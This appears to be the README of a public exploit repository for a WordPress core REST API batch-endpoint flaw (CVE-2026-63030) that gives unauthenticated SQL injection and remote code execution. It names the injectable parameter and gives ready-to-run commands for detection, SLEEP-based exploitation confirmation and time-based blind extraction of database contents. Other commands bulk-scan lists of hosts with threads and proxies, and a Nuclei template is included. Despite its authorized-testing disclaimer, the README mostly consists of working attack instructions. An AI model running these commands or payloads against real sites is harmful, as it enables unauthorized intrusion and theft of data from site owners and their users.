0xh7ml/cve-2026-63030Proof-of-concept exploit for CVE-2026-63030 vulnerability, demonstrating exploitation techniques for security research and testing.
Unauthenticated detection and exploitation tool for the WordPress core batch-confusion vulnerability (CVE-2026-63030 / CVE-2026-60137), which leads to SQL injection and remote code execution (RCE) through the REST API batch endpoint.
⚠️ For authorized security testing and educational purposes only. See the Disclaimer below.
Affected WordPress versions expose the REST API batch endpoint at:
POST /wp-json/batch/v1, orPOST /?rest_route=/batch/v1 (fallback when pretty-permalinks / wp-json is disabled)Through a batch confusion flaw, nested sub-requests inside a batch body are
processed without proper authorization, allowing an unauthenticated attacker to
inject SQL (e.g. via the author_exclude parameter) and ultimately achieve RCE.
This repository provides:
| File | Purpose |
|---|---|
cve-2026-63030.py | Python CLI — version detection, batch-endpoint resolution, SLEEP-based blind SQLi confirmation, and --query data extraction. Supports bulk scanning, threads, and proxies. |
cve-2026-63030.yaml | Nuclei template — passive version check + active time-based SQLi detection across both endpoint variants. |
| Branch | Affected Range |
|---|---|
| 6.8.x | 6.8.0 – 6.8.5 |
| 6.9.x | 6.9.0 – 6.9.4 |
| 7.0.x | 7.0.0 – 7.0.1 |
Patched in 6.8.6, 6.9.5, and 7.0.2.
requestsbeautifulsoup4pip install requests beautifulsoup4
python3 cve-2026-63030.py [options]
| Flag | Description |
|---|---|
-u, --url URL | Single target URL. |
-l, --list FILE | File of target URLs (one per line; # comments allowed) for bulk scanning. |
-p, --proxy URL | Route requests through a proxy (e.g. http://127.0.0.1:8080). |
-t, --threads N | Concurrency for bulk mode (default 10). |
-q, --query SQL | SQL to exfiltrate via time-based blind injection, e.g. "select @@version". |
--exploit | Fire the SLEEP payload to confirm exploitation. |
--delay SEC | SLEEP window for blind SQLi (default 2). |
--timeout SEC | Per-request timeout (default 10). |
--silent | Suppress the banner. |
-u/--url and -l/--list are mutually exclusive.
# 1. Detect whether a single target is vulnerable (version + batch endpoint)
python3 cve-2026-63030.py -u http://target.tld/
# 2. Route through Burp/ZAP
python3 cve-2026-63030.py -u http://target.tld/ -p http://127.0.0.1:8080
# 3. Confirm exploitation via the SLEEP payload
python3 cve-2026-63030.py -u http://target.tld/ --exploit --delay 5
# 4. Exfiltrate data through time-based blind SQLi
python3 cve-2026-63030.py -u http://target.tld/ -q "select @@version"
python3 cve-2026-63030.py -u http://target.tld/ -q "select user()"
# 5. Bulk scan a list of hosts and extract DB version from each vulnerable one
python3 cve-2026-63030.py -l hosts.txt -t 20 -q "select @@version"
<meta name="generator"> tag and checks it
against the affected ranges./wp-json/batch/v1 first, falling back to
/?rest_route=/batch/v1 only if the first doesn't answer.--exploit sends a SLEEP(n) payload and verifies the
response actually stalls (duration >= delay).--query exfiltrates a result one character at a time via
binary search (IF(ASCII(SUBSTRING(...)), SLEEP(n), 0)).# Validate
nuclei -tl -t cve-2026-63030.yaml
# Scan
nuclei -t cve-2026-63030.yaml -l hosts.txt
nuclei -t cve-2026-63030.yaml -u http://target.tld/
The template probes both endpoint variants and confirms time-based SQLi via
duration >= 5, gated on an affected WordPress version.
This project is provided strictly for educational purposes and authorized security testing. You may only use it against systems you own or for which you have explicit, written permission to test (e.g. a penetration-test scope, bug-bounty program, or CTF).
Unauthorized scanning or exploitation of systems you do not own or are not authorized to test is illegal and may constitute a criminal offense under computer-misuse laws (e.g. the CFAA in the US, the Computer Misuse Act in the UK, and equivalent statutes elsewhere).
The authors and contributors assume no liability and accept no responsibility for any damage, data loss, or legal consequences arising from the use or misuse of this software. By using this tool you represent that your use is lawful and that you assume all associated risk.
When in doubt, do not run it.
0xh7ml — provided as-is, for defensive research and education.